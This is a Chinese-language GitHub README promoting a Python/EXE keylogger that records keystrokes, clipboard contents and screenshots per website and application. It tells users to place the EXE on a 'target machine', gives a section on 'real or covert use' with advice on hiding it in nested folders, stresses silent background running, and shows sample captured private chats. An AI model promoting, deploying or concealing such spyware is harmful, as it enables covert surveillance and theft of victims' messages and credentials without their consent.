shub-script/Keylogger

GitHub: shub-script/Keylogger

一款支持网页与系统级键盘输入监控的实时键盘记录工具,可捕获击键、剪贴板和屏幕截图并按应用分类存储日志。

Stars: 0 | Forks: 0

Logo

## 功能网格

网页键盘记录

[ 记录在 Web 应用和浏览器中输入和执行的所有操作。 ]
[ 每个网站都会单独保存,并包含完整的活动详情。 ]


离线支持

[ 完全离线工作,无需互联网。 所有日志和屏幕截图均保存在本地系统上,不进行数据共享。 ]


隐蔽支持

[ 在后台静默运行,可随时通过快捷键隐藏或显示。 ]


EXE 支持

[ 作为单个便携的 Windows EXE 运行。无需 Python ]

安装 ⚡ (点击)

选择使用方式
## 方法 1:使用 EXE(快速运行)

- 下载 EXE 文件 - 将 EXE 保存在目标机器上 - 双击 EXE 运行 - 无需安装 Python ## 方法 2:使用 Git Clone 运行(脚本模式)

``` https://github.com/shubham-shipt/keylog-v12.git cd keylog-v12 pip install pynput pillow psutil py -3.12 main.py ```
重要信息 💬 (点击)

  • Key-Stoker 文件夹将创建在 EXE 文件所在的同一目录

用于真实或隐蔽用途

  • 将 EXE 放置在隐藏文件夹中
  • 使用嵌套或树状目录结构
  • 仅在将 EXE 放置在最终位置后才执行

用于测试和分析

  • EXE 或脚本可以从任何目录执行

示例文件夹结构

``` HiddenFolder/ ├─ SystemData/ │ ├─ Cache/ │ │ ├─ app.exe │ │ └─ Key-Stoker/ │ │ ├─ Web-Keylogs/ │ │ ├─ System-Applications/ │ │ └─ Screenshots/ ```
键盘记录器输出示例 🔐 (点击)


Session Overview

  • 会话开始: 2026-01-16 09:12:01
  • 会话结束: 2026-01-16 14:45:17
  • 总持续时间: 5小时 33分钟


Web & Application Keystrokes

WhatsApp Web

``` [09:14:20] Typed: "Hey, are we meeting at 5pm?" [09:15:02] Typed: "Yes, I will reach by 5:10." ```

ChatGPT (Browser)

``` [10:05:18] Typed: "Explain Python multithreading" [10:07:44] Typed: "Give example with code" ```

Instagram Web

``` [11:12:09] Typed: "Nice post 🔥" [11:12:41] Typed: "DM me details" ```

YouTube

``` [12:01:10] Search: "how to obfuscate python code" ```


Clipboard Activity


Screenshot Events


Generated Folder Structure

``` Key-Stoker/ ├─ Web-Keylogs/ │ ├─ Chrome/ │ │ ├─ WhatsApp.txt │ │ ├─ ChatGPT.txt │ │ ├─ Instagram.txt │ │ └─ YouTube.txt │ ├─ System-Applications/ │ ├─ FileExplorer.txt │ ├─ Notepad.txt │ └─ PowerShell.txt │ ├─ Screenshots/ │ ├─ click_2026-01-16_10-10-44.png │ ├─ enter_2026-01-16_09-16-05.png │ └─ appchange_2026-01-16_11-30-02.png │ └─ main_summary.txt ```
## 工具预览

Tool Preview

## 技术栈

### 核心语言 - **Python 3.12+** 用于事件驱动的输入监控、进程检测、日志流水线、GUI 处理和会话分析。 ### 关键库 - **pynput** – 低级键盘和鼠标事件监听 - **Pillow (PIL)** – 屏幕截图捕获和图像处理 - **psutil** – 活动进程检测和系统监控 - **tkinter** – 用于控件和实时预览的原生 GUI 接口 - **threading / queue** – 后台工作线程和非阻塞日志记录 - **subprocess / os / pathlib** – 系统交互和文件管理 ### 打包与执行 - **PyInstaller** – 将脚本转换为独立的 Windows EXE - 支持在未安装 Python 的目标机器上执行 ### 平台支持 - **Windows** – 完全支持 - **Kali Linux** – 支持脚本模式(可修改)。
标签:后端开发, 漏洞挖掘, 监控软件, 行为审计, 逆向工具, 键盘记录器